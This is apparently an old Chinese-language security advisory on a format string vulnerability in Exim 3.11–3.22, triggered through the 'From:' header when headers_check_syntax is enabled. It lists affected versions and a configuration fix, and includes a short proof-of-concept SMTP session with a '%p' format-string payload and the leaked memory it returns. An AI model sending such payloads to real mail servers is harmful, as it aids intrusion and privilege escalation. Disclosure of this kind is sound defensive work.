exim 格式化字符串漏洞

/ns/ld/unix/data/20010623104744.htm


涉及程序:
exim

描述:
远程攻击者利用 exim 格式化字符串漏洞取得系统特权

详细:
Exim ( http://www.exim.org ) 是一个广为应用的邮件服务器,在许多 LINUX 版本中都含有软件。它能提供邮件传输代理(MTA)功能。

但是发现它存在格式化字符串漏洞。如果 exim 以 root 权限运行的话,远程者利用此漏洞可能取得系统特权。

它的配置文件是 /etc/exim.conf,如果打开了 "headers_check_syntax" 选项,则当邮件中的"From:'地址栏中包含主机名格式串时,将会导致格式串溢出。攻击者利用此漏洞能在受影响机器上以 root 特权执行任意代码。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p

.
===8<======8<=======8<=======

Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40

受影响系统:
University of Cambridge Exim 3.22
University of Cambridge Exim 3.21
University of Cambridge Exim 3.20
University of Cambridge Exim 3.19
University of Cambridge Exim 3.18
University of Cambridge Exim 3.17
University of Cambridge Exim 3.16
University of Cambridge Exim 3.15
University of Cambridge Exim 3.14
University of Cambridge Exim 3.13
University of Cambridge Exim 3.12
University of Cambridge Exim 3.11

解决方案:
请用户在 '/etc/exim.conf' 中注释掉 "headers_check_syntax"